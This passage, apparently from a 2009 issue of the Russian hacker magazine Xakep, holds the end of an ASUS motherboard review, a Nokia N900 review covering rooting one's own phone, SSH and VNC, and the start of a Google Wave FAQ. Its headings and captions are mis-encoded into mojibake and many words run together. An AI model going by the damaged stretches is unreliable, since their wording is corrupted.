омногочисленных частотах. Естественно, естьопция автоматического разгона. Серьезноувеличить производительность ЦП можноблагодаря технологии CPU Level UP. Чтоинтересно — предусмотрена аналогичнаяопция и для памяти (Memory Level UP). Изоболочки операционной системы с настройкамиможно работать с помощью удобнойутилиты под названием ASUS TurboV Evo. Запуски перезагрузку всей системы при конфигурациии первоначальной настройке можноосуществлять с помощью ярких клавиш«Start» и «Reset» без подключения к самомукорпусу. Кстати, плата оснащена еще одной,специальной «красной кнопкой», котораяполучила название Go Button. Если системавыключена, то при нажатии кнопки можноактивировать технологию ASUS MemOK,которая позволяет компьютеру запуститьсядаже с несовместимыми с системной платоймодулями оперативной памяти. В частности,будет произведена диагностика и заданынеобходимые параметры ОЗУ для успешногостарта системы. Если система работает, тонажатие на клавишу позволит пользователюменять оверклокерские профили, причем, неXÀÊÅÐ 12 /132/ 09


ÒÅÑÒÎÂÛÉ ÑÒÅÍÄÏÐÎÖÅÑÑÎÐ: INTEL CORE I5-750, 2.66 ÃÃÖÊÓËÅÐ: THERMALRIGHT MUX-120ÏÀÌßÒÜ: 2Õ 2048 ÌÁÀÉÒ, CORSAIR CMX3-1600(CM3X2G1600C9DHXNV)ÍÀÊÎÏÈÒÅËÜ: 250 ÃÁÀÉÒ, WESTERN DIGITALWD2502ABYS, SATAÂÈÄÅÎÊÀÐÒÀ: GIGABYTE GEFORCE GTS 250ÁËÎÊ ÏÈÒÀÍÈß: 650 ÂÒ, CORSAIRпокидая оболочки операционной системы. Всего этих профилей можетбыть задано восемь.ÄÈÇÀÉÍ È ÐÀÇÂÎÄÊÀДолго говорить о том, что плата упакована в шикарную коробку с агрессивнойрасцветкой, и расписывать все прелести комплектациимы не будем. Уж слишком много есть более интересного, о чем хотелосьбы поведать нашим читателям. Начнем с того, что плата собранав форм-факторе Full ATX. Расцветка платы без преувеличения«революционная» — черный текстолит, красные и белые разъемы.Внешне плата нам очень понравилась. Компоновка элементов максимальноудобна для установки любого типа дополнительных плат исистем охлаждения. Даже огромные видеокарты верхнего ценовогосегмента устанавливаются легко, не мешают доступу к другим элементамсистемы. Хотя при установке пары двухслотовых акселераторовв SLI или Crossfire будут заблокированы клавиши перезагрузкии включения. В остальном претензий нет. Даже радиаторы на схемахMOSFET не мешают монтажу кулера с широким профилем. Кстати,что касается охлаждения, то и этой детали производитель уделилмаксимум внимания. На единственную схему набора логики Intel P55Express установлен плоский массивный радиатор. Если учесть, чтоэтот чип отличается невысоким тепловыделением (большую частьзадач взял на себя сам ЦП), такой выбор кажется весьма разумным.Три фигурных радиатора, соединенные тепловыми трубками, надежнозащищают систему питания от перегрева. Стабилизатор питаниясобран по схеме 16+3. Все дроссели аккуратно распаяны, а самаплата использует исключительно твердотельные конденсаторы.Увеличить производительность дисковой подсистемы возможно припомощи технологии Speeding HDD. В данном случае два винчестераподключаются к специальным разъемам SPD_HDD1 и SPD_HDD2для организации двухканальной передачи данных.ÔÈØÊÈ È ÁÎÍÓÑÛОтдельно хотелось бы поговорить о дополнительных возможностях идополнениях, которыми может порадовать как сама плата, так и комплектпоставки. В первую очередь нужно отметить наличие внешнейаудиокарты. Приверженцы качественного звука как один отказываютсяот встроенных звуковых контроллеров, вне зависимости от того,сколько каналов предлагает штатный HDA-кодек. В случае с ASUSÐÅÇÓËÜÒÀÒÛ ÒÅÑÒÈÐÎÂÀÍÈßSuper PI mod.1.5 XS: 15,1 секSuper PI mod.1.5 XS, (OC): 10,3 секWinRAR 3.8, Multithreading: 2525 Кб/сWinRAR 3.8, Multithreading (OC): 2978 Кб/сPCMark Vantage: 6846PCMark Vantage (OC): 8411Crysis, 1680x1050, 4xAA, 16xAF: 19Crysis, 1680x1050, 4xAA, 16xAF (OC): 20Call of Duty: World at War, 1680x1050, 4xAA, 16xAF:76Call of Duty: World at War, 1680x1050, 4xAA, 16xAF:79ÒÅÕÍÈ×ÅÑÊÈÅ ÕÀÐÀÊÒÅÐÈÑÒÈÊÈ•ÏÎÄÄÅÐÆÈÂÀÅÌÛÅ ÏÐÎÖÅÑÑÎÐÛ: INTEL CORE I5 ÈËÈCORE I7•ÏÐÎÖÅÑÑÎÐÍÛÉ ÐÀÇÚÅÌ: SOCKET LGA1156•×ÈÏÑÅÒ: INTEL P55 EXPRESS•ÏÀÌßÒÜ: 4Õ DIMM, DDR32133/2000/1800/1600/1333/1066 (ÌÀÊÑÈÌÀËÜÍÎ 16ÃÁÀÉÒ)•ÑËÎÒÛ ÐÀÑØÈÐÅÍÈß: 1X PCI-E X16, 1X PCI-EXPRESSX8, 1X PCI-E X1, 1X PCI•ÍÀÊÎÏÈÒÅËÈ: 10X SATA II + 1X E-SATA•ÐÀÇÚÅÌÛ: 1X IEEE 1394 (FIREWIRE), 9X USB, 1XE-SATA•ÑÅÒÜ: 1 ÃÈÃÀÁÈÒÍÛÉ RJ-45 ÏÐÈ ÏÎÄÄÅÐÆÊÅ ÊÎÍÒ-ÐÎËËÅÐÀ REALTEK RTL8110SC•ÇÂÓÊ: 8-ÊÀÍÀËÜÍÀß ÂÍÅØÍßß HDA-ÀÓÄÈÎÏËÀÒÀSUPREMEFX X-FI•ÔÎÐÌ-ÔÀÊÒÎÐ: ATX, 305X244 ÌÌMAXIMUS III Formula производитель включил в комплект поставкикарточку ASUS Supreme FX X-Fi, которая использует для подключенияразъем PCI-Express X1. Присутствует разделение каналов повосьми линиям, а также наличествует поддержка технологий EAXAdvanced HD 4.0, X-Fi CMSS-3D и X-Fi Crystalizer. Есть здесь оптическийи коаксиальный SPDIF, а также специальный разъем для выводааудиовходов (наушники и микрофон) на лицевую панель корпуса.Наконец, заметим, что производитель оснастил комплект наборомстяжек для шлейфов, что крайне полезно, и специальными наклейками-метками,которые позволяют к каждому шлейфу приделать свойцветовой маркер. Скажем, если в системе 4-5 винчестеров плюс параоптических приводов с SATA-интерфейсом, то такая разметка была бык месту. Интересно также, что производитель решил вынести клавишусброса CMOS на заднюю панель платы, чтобы не было необходимостилазить внутрь корпуса. На панели есть и кнопка активации опции ROGConnect. Суть технологии — в возможности предоставления дистанционногодоступа к основным параметрам материнской платы черездругой компьютер. Соединение при использовании ROG Connectпроизводится через обычный USB-кабель.ÂÛÂÎÄÛВ очередной раз ASUS удалось доказать свое превосходство нарынке системных плат для экстремалов. Такие платформы, какASUS MAXIMUS III Formula, являют собой торжество технологическогопрогресса. Отходя от восторженных откликов в сторонуздорового прагматизма, хотелось бы отметить, что за все прелестиASUS MAXIMUS III Formula потенциальному покупателю придетсявыложить кругленькую сумму. Но к чему все эти тлетворные эманациизолотого тельца, если нельзя потратить их на платформу своеймечты? zÊÎÍÊÓÐÑ ASUSЗаходи на сайт www.xakep.ru и принимайучастие в конкурсе компанииASUS и редакции z. Все, что требуетсяв конкурсе — правильно ответить на5 вопросов о материнской плате ASUSMAXIMUS III Formula.Разыгрывается mATX плата на чипсетеP55 — P7P55-M и два сувенирныхнабора ASUS: BT-мышь, наушники ивеб-камера.XÀÊÅÐ 12 /132/ 09 025


СТАРЫЙ ДОБРЫЙ НИКСОВЫЙ MCЛЮБЫЕ ПРИЛОЖЕНИЯ УСТАНАВЛИВАЮТСЯ В ДВАКЛИКА МЫШИ ЧЕРЕЗ ДИСПЕТЧЕР ЗАДАЧЧЕРЕЗ VNC-КЛИЕНТ РУЛИМ ДОМАШНИМКОМПЬЮТЕРОМN900 МОЖЕТ БЫТЬ ПРОСТО ТЕЛЕФОНОМ...всяческие ухищрения. Достаточно открыть в N900 консоль (кстати, каки в обычной системе для этого есть горячая клавиша: ) инабрать команду «sudo gainroot» — и рут, в прямом смысле слова, у насв кармане:Nokia-N900-42-11:~# uname -aLinux Nokia-N900-42-11 2.6.28-omap1 #1 PREEMPT Wed Oct28 15:32:55 EET <strong>2009</strong> armv7l unknownNokia-N900-42-11:~# whoamirootПравда, я умолчал об одной важной детали. Для того чтобы команда«sudo gainroot» работала правильно, необходимо установить в системуспециальный пакет rootsh.МЕНЕДЖЕР ПАКЕТОВ И ВСЕ-ВСЕ-ВСЕУстановить пакет — ничего не напоминает? Именно! Как и в любойDebian-системе приложения необязательно компилировать изисходников: они легко устанавливаются в систему через менеджерпакетов. Последний сам заботится о том, чтобы скачать самую последнююверсию приложения и удовлетворить все зависимости. ВспомнимSymbian, где для установки программы нужно было найти sis-файлдистрибутива, далее заморочиться с подписями и вдобавок подключитьтелефон к компьютеру. Почувствуй разницу: в случае с Maemo необходимо,чтобы программа была в каталоге приложений. Единственное, чтотогда придется сделать — это выбрать ее для установки в диспетчереприложений. Система сама подкачает дистрибутив из репозитория,удовлетворив все зависимости.Кстати о репозиториях. По умолчанию в диспетчере приложенийвключены только два: «Приложения Nokia» и «Обновление системногоПО Nokia», и поэтому весь список доступных для установки приложенийсостоит из максимум двадцати виджетов и утилит. Не сильно впечатляет,правда? И более того — среди них нет нужного нам пакета rootsh. В поискеXÀÊÅÐ 12 /132/ 09причины залезаем в настройки каталогов приложений и обращаем внимание,что репозиторий Maemo Extras не активен. Исправляем это недоразумениеи одним кликом мыши добавляем в диспетчер новые пакеты,одобренные компьюнити Maemo, в том числе и заветный rootsh. Хочусразу сказать: для установки приложений никакой root-аккаунт не нужен,но он понадобится, если хочешь поковыряться во внутренностях системыили, например, использовать консольный инструмент для управленияпакетами apt-get. И раз уж добрались до администратора, то попробуемвыяснить, на каком железе работает наша машинка. Для того чтобы выяснитьразмер внутренней памяти, используем команду df (disk free):Nokia-N900-42-11:~# df -hFilesystem Size Used Available Use%Mounted onrootfs 227.9M 189.3M 34.4M 85% /tmpfs 1.0M 92.0k 932.0k 9% /tmptmpfs 256.0k 68.0k 188.0k 27% /var/runtmpfs 64.0M 4.0k 64.0M 0% /dev/shm/dev/mmcblk0p2 2.0G 350.1M 1.5G 18% /home/dev/mmcblk0p1 27.0G 690.2M 26.3G 2% /home/user/MyDocsВ общей сложности — 32 Гб. Теперь посмотрим, что у нас за процессор.Данные о CPU хранятся в текстовом файле/proc/cpuinfo. Откроем еготулзой cat:Nokia-N900-42-11:~# cat /proc/cpuinfoProcessor : ARMv7 Processor rev 3 (v7l)BogoMIPS : 249.96Как видишь, в качестве процессора используется CPU на базе ARM.Правда, вместо частоты здесь указано количество миллионов операцийв секунду (BogoMIPS), но она составляет 600 МГц. Хочется тут жеответить на самый распространенный вопрос по N900: «Раз смартфон027


FERRUMПРИВЫЧНЫЙ AJAX-ИНТЕРФЕЙС GMAIL В MAEMOBROWSERТЕЛЕФОН САМ ПОДГРУЗИЛ КОНТАКТЫ ИЗ GTALK’АРАБОЧИЙ СТОЛ АДМИНА: ЯРЛЫКИ ПРИЛОЖЕНИЙ ИБЫСТРЫЙ ВЫЗОВ ПРОБЛЕМНОГО ПОЛЬЗОВАТЕЛЯ :)МЕНЕДЖЕР ЗАДАЧ ДЛЯ ПЕРЕКЛЮЧЕНИЯ МЕЖДУЗАПУЩЕННЫМИ ПРИЛОЖЕНИЯМИпостроен на Linux’е, то можно ли взять .deb-пакеты от обычного Debian’аи запустить их на мобильной платформе?». Нет и еще раз нет! Как мытолько что выяснили, процессор N900 построен на базе ARM, в то времякак CPU твоего компьютера, скорее всего, использует x86-архитектуру.Исходный код компилируется для разных платформ по-разному, поэтомуможно даже не пробовать запустить на ARM’е код, собранный дляx86-платформы. Более того, не так просто откомпилировать исходникилинуксового приложения для Maemo. В большинстве случаев приложениянужно доводить до ума, модифицируя код для работы в совершенноновом окружении, в том числе с использованием touch-интерфейса,акселерометров и т.д. Хорошая новость в том, что профи из комьюнитиактивно занимаются этой работой, а поэтому уже сейчас в репозиторииогромное количество самых разных никсовых утилит, в том числе длясистемного администратора!АДМИНИСТРИРУЕМ ВСЕ И ВСЯПо правде говоря, увидев пакет OpenSSH Client и Server, я ринулся устанавливатьего в первую очередь. Что порадовало — в момент установкиSSH-демона у тебя не открывается огромнейшая дыра в лице стандартногоroot’ового пароля, которые многие пользователи как пить датьзабудут переустановить (привет iPhone’у с установленным jailbrake’ом!).Система сама предлагает ввести новый пасс для рута — и мы еговводим. Заодно устанавливаем виджет Personal IP Address, которыйпрямо на рабочем столе отображает названия активных интерфейсови присвоенных им IP-адресов. Для удобства предлагаю расположитьвиджет на отдельный рабочий стол и сюда же добавить ярлык на XTerminal — с этого начнем строить рабочий стол админа. Открыв PuTTYна ноутбуке, присоединенном к той же Wi-Fi сети, я ввел заветный IPшники... без каких-либо проблем подключился к SSH-демону, как будтоэто был самый обычный сервак на Linux’е. Впрочем, тут же осознав, чтото же самое можно с неменьшим успехом делать и с самого телефона,я переключился на намного более практичную задачу — коннекту кразличным серверам. Для этого нужно открыть на девайсе терминал иотдать команду: ssh . Поверь, разницы с тем, как если бы тыконнектился к ним через PuTTY с компьютера, никакой!Следующий ярлык, который я вынес на рабочий стол — VNC Viewer. Тутнадо сказать, что полноценный клиент для подключения к удаленномурабочему столу, который действительно можно удобно использовать стелефона, — моя давняя мечта. И хотя можно было сразу попробоватьпоставить rdesktop, как на любом линуксе, я решил довериться стандартномуVNC-клиенту, а для экспериментов поднял на буке с Windows7 VNC-демон. И вот, что я тебе скажу: с N900 ты можешь реально пользоватьсясвоим компьютером удаленно без какого-либо дискомфорта!На нормальном коннекте получаем моментальный отклик, идеальнуюкартинку — как будто с обычного монитора, причем на большом экранедевайса вмещается внушительная часть рабочего стола настольноймашины. Если есть Wi-Fi или 3G-интернет, эту возможность можноиспользовать постоянно и фактически работать на своем рабочемкомпьютере, используя его производительность и широкий интернетканал.К слову, для отслеживания беспроводных сетей есть отдельныйзамечательный инструмент — Wifiinfo. Полноценным стамблером егоне назовешь, потому что пока он не фиксирует GPS-координаты, но сосканированием эфира, определяя SSID, уровень сигнала и параметрышифрования точек доступа, справляется на ура. И кстати: сети с уязвимымWEP-шифрованием программа, как и подобает хакерской тулзе,отображает особым образом.БРАУЗЕР И МНОГОЗАДАЧНОСТЬЕще больший эффект того, что имеешь дело не с телефоном, а компьютером,достигается за счет браузера Maemo Browser, построенного набазе Mozilla и поддерживающего Adobe Flash. Весь смак от использованияначинаешь ощущать, когда просматриваешь ролики на Youtube (в028 XÀÊÅÐ 12 /132/ 09


ПОЛУЧАЕМ ROOT’А В X TERMINALWI-FI СТАМБЛЕРтом числе на полном экране) и работаешь с любыми Web 2.0 сервисами.Больше не надо использовать мобильные версии Google Docs и GoogleReader или того же Gmail: все их AJAX-навороты отлично отображаютсяв Maemo Browser. А так как это почти Firefox, то можно заюзатьнесколько полезных плагинов, заботливо подготовленных комьюнити.Расправится разом со всей рекламой поможет AdBlock Plus, а внестиполезные изменения в сайты с помощью JS-скриптов — Greasmonkey.Устанавливаются они опять же очень просто — через диспетчер приложений.На одних только баннерах (особенно на Flash’овых) можносэкономить кучу GPRS-трафика, следить за использованием которогоудобно через виджет Personal Data Plan Monitor. Еще один хинт длябраузера: горячая клавиша , которая включает особуюсистему приближения, подгоняющую параграфы текста так, чтобы онисоответствовали ширине экрана.Использование Linux’а позволило реализовать в N900 полноценнуюмногозадачность. Ты можешь открыть браузер, консоль терминала сзапущенным SSH-клиентом и параллельно переключаться на удаленныйрабочий стол через VNC-клиент — и все это будет работать. Длятаскменеджера даже есть хоткей: . Даже еслисреди приложений будет прога, активно использующая 3D-графику, онане убьет мультизадачность наповал (если, конечно, она не написана наколенке горе-программистом). Секрет тут в том, что Maemo 5 перекладываетзадачи по обработке графики на 3D-ускоритель GPU.QUAKE 3 VS. MAEMO 5Насколько эффективно она это делает? Настоящий фурор на одной изпрезентаций N900 в Лондоне произвел запущенный на двух телефонахQuake 3, в который ребята играли в мультиплеер по сети! Помнится,много лет назад я специально покупал новый компьютер — ради того,чтобы комфортно играть в квачу. И вот времена — игрушку тянет пускайи топовый, но смартфон! Правда, сама портированная версия игрушкиявляется чисто экспериментальной и для того, чтобы использовать ее,придется подключить специальный репозиторий с бета-версиями программ— Extras Development. Для этого открой диспетчер приложений ичерез меню «Каталоги приложений Создать» добавь запись о новомхранилище пакетов, указав http://repository.maemo.org/extras-devel вполе «Веб-адрес», «fremantle» в поле «распространение» и «free nonfree»в поле «Компоненты».Менеджер пакетов проведет апдейт списка доступных приложений. Этоогромное хранилище самых разных программ, виджетов и игр, которыепока находятся в стадии бета-тестирования, но вполне пригодны дляиспользования. В частности разработчик пакета ioquake3 честно предупреждаето возможных багах, но игрушка-то работает! Правда, послеустановки пакета необходимо скопировать файлы *.pk3 с текстурами икартами с CD-диска Quake 3 в папку /home/user/baseq3. И вот теперьможно собирать количество охов и ахов друзей, запуская для них игрушку:). Управление осуществляется с помощью акселерометра, а если ещеподключить через TV-Out к телевизору ,— из N900 получается неплохаяигровая консоль! Еще один трик. Если желания маяться с поискомXÀÊÅÐ 12 /132/ 09старого CD нет, можно прямо из репозитория установить альтернативу влице openarena. Это открытая реализация Quake3, в которой используетсяоткрытый движок Q3 и созданные энтузиастами карты, модели и набортекстур. Не забудь изучить и другие программы в разделе «Мультимедийные»,в том числе подкаст-аггрегатор gPodder Podcast Client.SKYPE И КАМЕРАСкачивать подкасты и затем переносить их на телефон — настоящаятоска. Если у телефона есть Wi-Fi, то намного удобнее закачивать подкастыпрямо на него. В связке со встроенным FM-передатчиком, N900превращается в настоящий musthave для автолюбителей. Нужно лишьнастроить магнитолу на частоту FM-передатчика, и прослушиваниеподкастов в машине превращается в одно удовольствие!Устроить трансляцию можно не только в аналоговых радиоволнах, но ив цифре, вещая в инет изображение с 5-мегапиксельной камеры. Еслив ранних моделях с Meamo для этого нужно было некисло попаритьсяс настройкой нескольких транслирующих программ, то в N900 со всемсправится миниатюрная утилитка qik, для которой понадобится исключительноаккаунт на одноименном сервере. Кстати говоря, качествоизображения оптики Carl Zeiss заслуживает всяческих похвал.При деле и передняя камера для видеоконференции. Правда, нам, обделеннымполноценным 3G-инетом, придется использовать Skype илиGoogle Talk. Причем позвонить человеку или, на худой конец, начать чатможно прямо из профиля человека в записной книжке. Это супер нововведение:наконец-то не надо открывать скайп и искать там нужныйконтакт (который обязательно назван как-нибудь навроде katya87), аможно просто звонить человеку прямо из записной книжки телефона:хоть через GSM, хоть через VoIP.МИНИКОМПЬЮТЕРУ — БЫТЬ!Что я тебе могу сказать после недели использования телефона? Это ниразу не смартфон! Это мини-компьютер, умеющий, к тому же, звонить.Ощущение того, что имеешь дело не с миниатюрным девайсом, аполноценной системой, прежде всего, создают знакомые никсовыепрограммы. Пускай из-за различий архитектуры нельзя просто взять.deb-пакет от Debian и установить на N900, но в даже на текущий моментв тестовых репозиториях есть самые разные продукты: редактор длякодинга Vim, интерпретатор Python, клиент Pidgin для обмена сообщениями,VNC-клиент и море других. Правильная мультизадачность,позволяющая одновременно использовать несколько приложений ипри этом не наслаждаться слайдшоу, еще больше усиливает ощущение,что в N900 все по-взрослому. Браузер на базе Mozilla — это особеннаяистория. Наконец-то прямо со смартфона можно просматривать сайтыв их привычной форме, а не довольствоваться мобильными версиями,лишенными прелестей AJAX. Понимание того, насколько классныйдевайс сейчас выпустила Nokia, пришло не сразу. Скажу больше, напервый взгляд девайс вообще мало чем впечатлил. Но уже скоро осознаешь,что с приобретением N900 ты получаешь вовсе не смартфон, астильный мини-компьютер, который умещается в кармане. z029


PC_ZONEСТЕПАН «STEP» ИЛЬИН STEP@GLC.RUGOOGLE WAVE:ÑÒÎßÙÈÉ ÑÅÐÂÈÑÈËÈ ÏÓÑÒÛØÊÀ?ÍÀØ ÓËÜÒÐÀ-ÏÎËÍÛÉ FAQ ÏÎ GOOGLE WAVE«Ó ÊÎÃÎ ÅÑÒÜ ÈÍÂÀÉÒ ÍÀ GOOGLE WAVE?» — ÑÀÌÀß ×ÀÑÒÀß ÏÐÎÑÜÁÀ ÍÀ ÔÎÐÓÌÀÕÈ Â ÁËÎÃÀÕ. ÊÀÆÄÛÉ ÕÎ×ÅÒ ÏÎÏÐÎÁÎÂÀÒÜ, ÊÀÆÄÛÉ ÕÎ×ÅÒ ÎÖÅÍÈÒÜ. ÍÎ ÒÀÊ ËÈ ÊÐÓÒÑÅÐÂÈÑ, ÍÀÑÊÎËÜÊÎ ÆÅËÀÍÍÛÌ ÎÍ ÑÒÀË ÄËß ÎÃÐÎÌÍÎÃÎ ×ÈÑËÀ ÏÎËÜÇÎÂÀÒÅËÅÉ? ÝÒÎÌ ÌÛ È ÐÅØÈËÈ ÐÀÇÎÁÐÀÒÜÑß, ÑÎÁÐÀ ÎÒÂÅÒÛ ÍÀ ÑÀÌÛÅ ×ÀÑÒÛÅ ÂÎÏÐÎÑÛ.Q: ÂÑÅ ÂÎÊÐÓà ÒÐÓÁßÒ Î GOOGLE WAVE,×ÒÎ ÝÒÎ ÒÀÊÎÅ?A: Когда люди описывают Google Wave, ониобычно не скупятся на эпитеты, называя егосмесью всего, что только можно: e-mail'а,чата, wiki, форума и бог знает чего еще. Яхотел написать проще, но... это действительноядерная смесь. Ключевой элемент системы —это волны. Что-то среднее между обычнымписьмом и веткой обсуждения на форуме. Укаждой волны есть отправитель и получатели,поэтому волну действительно можно сравнитьс почтовым отправлением. Создатель волныможет задать какой-то вопрос и добавить кобсуждению других пользователей сервиса,которые могут ему отвечать. Но в то же времяэто и не e-mail, потому что пользователи могутне только отвечать в любом месте, но и дажередактировать всю ветвь обсуждения. Wiki?Опять нет, потому как общение происходит вреальном времени, любое изменение моментальноотображается другим участникам волны030и записывается. Если смотреть с этой стороны,то мы получаем инструмент для совместногоредактирования в реальном времени (плачьте,онлайн-сервисы а-ля etherpad.com, ваши днисочтены!), но, в целом, сервис на две головывыше, чем просто текстовый редактор. Люди,участвующие в волне, необязательно вносятизменения, отображаемые всем участникам:возможны приватные ответы — как в IRC-чате,но это и не чат. Хотя из волны и можно сделатьэдакий IRC-канал, сделав его общедоступными видимым для всех участников системы.Правда, дать имя этому каналу нельзя, нозато можно обозначить теги — куда нынче безних! К тому же, по всей системе, всем волнампользователя и публичным wave'ам реализованпоиск, но об этом, учитывая все обстоятельства,можно даже не говорить. Так что же,черт подери, это такое — Google Wave? Я тебескажу: принципиально новый способ общенияи совместной работы, непривычный и непохожийна то, что мы видели раньше.Q: ÒÎÃÄÀ ÊÀÊ ÂÛÃËßÄÈÒÝÒÎ ÎÁÙÅÍÈÅ?A: Чтобы объяснить суть, буду и далее проводитьаналогии с e-mail'ом. Все общение происходитв волнах. Обсуждение в волне сравнимос перепиской нескольких людей, сгруппированнойпо заголовку в единую цепочку.Например, если я хочу обсудить с nikitoz'ом иgorl'ом план на следующий номер, то кликаюпо New Wave, далее с помощью кнопки Addparticipants добавляю парней как участниковобсуждения и, собственно, пишу сообщение,как самое обычное письмо. Причем, в текстмогут быть вставлены разнообразные виджеты,пусть это будет аддон для голосования потеме номера. Когда коллеги зайдут в систему,то непременно увидят новую волну в среднейпанели — здесь отображается список волн.По умолчанию здесь отображаются волны изInbox'а — это что-то вроде папки с входящимиписьмами. Каждый из участников волныможет оставить ответ, любые изменения ото-XÀÊÅÐ 12 /132/ 09


ФИЛЬТРУЕМ ВОЛНЫПО МОДИФИКАТОРУ ONLY:MEТО, С ЧЕГО ДОЛЖЕН НАЧАТЬКАЖДЫЙ НОВИЧОКСОХРАНИМ ПАРАМЕТРЫ ПОИС-КА И НАЗНАЧИМ ДЛЯ ФИЛЬТРОВЦВЕТАбражаются в волне в реальном времени. Еслик тому времени я буду еще в Сети (а это легкоузнать по зеленой точке в углу аватарки), тоувижу, как в ветке обсуждения постепеннопоявляются изменения. И я точно буду знать,кто их вносит: рядом с появляющимся текстомотображается цветной ярлычок с именемучастника, который его набирает. Оченьудобная фича, чтобы вместе работать надкаким-нибудь документом или просто устроитьудаленный брейншторм по важному вопросу.Любой участник может отвечать не просто насообщение, а на любой его контекст — и этобудет понятно отображено. Если участниковмного, а сообщение носит личный характер,пользователь может ответить в приватномрежиме (Private Message) — и тогда его увидитконкретный адресат. Все изменения GoogleWave записывает в историю, фиксируя, ктои когда что изменил, а благодаря функцииPlayBack — позволяет «проиграть» с самогоначала весь процесс обсуждения. Едвали функция пригодится, чтобы посмотреть,как строился древовидный тред — все и такпонятно. Но если мы все вместе правиликакой-то документ или исходник, внося измененияв разные его части, то быстро просмотретьход работы и вносимые правки можетбыть полезным. Увы, откатить изменения натекущий момент нельзя. Получается, волна —это как лист бумаги, на котором разные людичто-то рисуют друг другу так, как это им удобно.Никаких ограничений.ЦВЕТНЫЕ ЯРЛЫЧКИ ПОМОГАЮТПОНЯТЬ, КТО ВНОСИТИЗМЕНЕНИЯQ: ÓÃÎÂÎÐÈË, ÕÎ×Ó ÏÎÏÐÎÁÎÂÀÒÜ!ÒÎËÜÊÎ ÃÄÅ ÂÇßÒÜ ÈÍÂÀÉÒÄËß ÐÅÃÈÑÒÐÀÖÈÈ?A: Просто открыть wave.google.com и завестиаккаунт в сервисе не получится. Google Wave,как известно, находится в стадии закрытоготестирования и зарегистрироваться можнотолько по приглашению. Кнопка Request aninvitation — чистой воды развод: на давнымдавнооставленный запрос никакого инвайтатак и не пришло. Впрочем, как оказалось,система с приглашениями еще более запутанная.Каждый из зарегистрированных пользователяполучает некоторое количество инвайтов,с помощью которых он может пригласитьдрузей/коллег/знакомых. Но в отличие оттрадиционной системы, когда инвайт сразу жеотправляется на указанный email-адрес, приглашенныйчеловек попадает в некую очередьноминированных для регистрации людей.Поэтому, после того как мне пришло сообщениеот приятеля «Отправил тебе инвайт наGoogle Wave», прошло еще несколько дней,прежде чем я получил заветный инвайт. Но тутвсе зависит от того, насколько тебе повезет —кому-то приглашение приходит сразу.И все-таки, где раздобыть инвайт, если спроситьего не с кого? Ответ прост — найти того, укого эти инвайты имеются :). Рекомендую практически100% способ. Открываешь поиск поблогам Yandex'а (blogs.yandex.ru), вбиваешь:«инвайт Google Wave» и получаешь десяткипостов из одного только ЖЖ: «Есть 3/5/20инвайтов, кому нужно?». Сервис осуществляетпоиск и по твиттеру, но для верности советуюпосмотреть ленту твитов с тегом #googlewave,воспользовавшись родным поисковикомsearch.twitter.com. Это был первый вариант.Теперь второй — воспользоваться специальнымсервисом для обмена и запроса нужногоинвайта. На таких сайтах обмениваютсясамыми разными приглашениями: начиная отуже пресловутого Google Wave и заканчиваяприватными торрент-трекерами. Об одном изних — inviter.ru — читай в рубрике WWW2. Ноесли и тут не повезет, заходи на forum.xakep.ru, где ты найдешь созданную ветку для обменаинвайтами. Уверен, кто-нибудь обязательнопоможет.Q: ÎÊÅÉ, ÇÀÐÅÃÈÑÒÐÈÐÎÂÀËÑß.ÍÎ ÍÈÊÀÊ Â ÒÎËÊ ÍÅ ÂÎÇÜÌÓ:×ÒÎ ÝÒÎ ÂÎÎÁÙÅ ÒÀÊÎÅ È ÊÀÊ ÝÒÈÌÏÎËÜÇÎÂÀÒÜÑß? ÅÐÓÍÄÀ ÊÀÊÀß-ÒÎ!A: О! Практически 100% реакция каждогонового пользователя. Не даром Google выложилдли-и-и-и-и-инное видео (час двадцать!)с презентацией сервиса, чтобы хоть как-тообъяснять, что к чему. Так или иначе, любойпользователь, только что оказавшийся насервисе, непременно сталкивается с однойпростой, но сложно разрешимой проблемой —новый способ общения опробовать банальноне с кем! Сервис-то закрытый. Никого простотак не позовешь.По этой причине нужно выучить одноважное заклинание «with:public». Надсписком волн, в котором должны былиприветственные волны от системы с ещенесколькими презентациями, есть поледля поиска — важный элемент интерфейсаGoogle Wave, с помощью которого можнофильтровать отображаемые волны и осуществлятьпоиск по ним. По умолчаниютам выставлено что-то вроде «in:inbox»,обозначающее, что в списке волн должнобыть отображено содержимое твоегоинбокса. Вводи туда «with:public» — иполучишь список публично открытых волн,с тысячами людей, которые так же, как имы с тобой, не знают, что же в этом GoogleWave делать :). Попадаются вполне интересныволны, в том числе различных гиковыхсайтов и коммьюнити (своеобразныеветки форума). Кстати, публичный вейвможно создать и самому. Для этого нужнодобавить в свои контакты пользователяpublic@a.gwave.com. Трюк заключается втом, что в тот момент, когда ты нажмешьна кнопку «Добавить», система выдастсообщение «User does not have a GoogleWave account». Игнорируй его и простожми — в контакт-листе появитсяновый адресат, который ты можешь добавитьв ту волну, которую хочешь сделатьпубличной.XÀÊÅÐ 12 /132/ 09 031


PC_ZONEHTTP://WWWlinks• Документация посозданию робота:http://code.google.com/intl/ru/apis/wave/extensions/robots/index.html.• Пример робота, написанногона C#:http://www.byteblocks.com/post/<strong>2009</strong>/10/28/Google-Wave-Robot-Development-Sample.aspx.• Пример созданиягаджета:http://dendrytsoft.blogspot.om/<strong>2009</strong>/10/building-google-wavegadget-with-gwt.html].• Полный списокгорячих клавиш:http://www.google.com/support/wave/bin/answer.py?hl=en&answer=162330.• Пополняемыйсписок ботов: http://googlewavebots.info/category/google-wavebots.INFOinfo• Безопасность общенияобеспечиваетсяSSL: защищенныйпротокол используетсяна протяжении всеговремени работы с сервисом,а не тольков момент авторизации.• Google Wave написанна Java с использованиемOpenJDK(openjdk.java.ne),а веб-интерфейс построенна фрейворкеGoogle Web Toolkit(code.google.com/webtoolkit).032Q: ÑÊÎËÜÊÎ ÆÅ ÈÕ! ÊÀÊ ÂÎÎÁÙÅÎÐÈÅÍÒÈÐÎÂÀÒÜÑß ÂÎ ÂÑÅÕ ÝÒÈÕ ÂÎËÍÀÕ?A: Очень скоро, наигравшись с публичными волнами,которые хоть и интересны, но больше с точки зрениядемонстрации возможностей системы, захочется использоватьсервис с практической точки зрения. Тем более,волн действительно очень много. Первое, что нужноуяснить, — это возможность навигации, для которойиспользуется поисковая панель; здесь, помимо ключевыхслов для поиска волн, можно вводить служебные слова(как with:public). Например, чтобы во всем этом хаусенайти волны на русском языке, можно отфильтровать ихпо тегам, добавив в запрос модификатор «tag:ru». Мыо них еще поговорим. А пока взглянем на левую частьинтерфейса, где находится панель навигации. Она примечательнатем, что кроме стандартных позиций — By Me(волн, созданных тобой), Inbox (входящие волны), 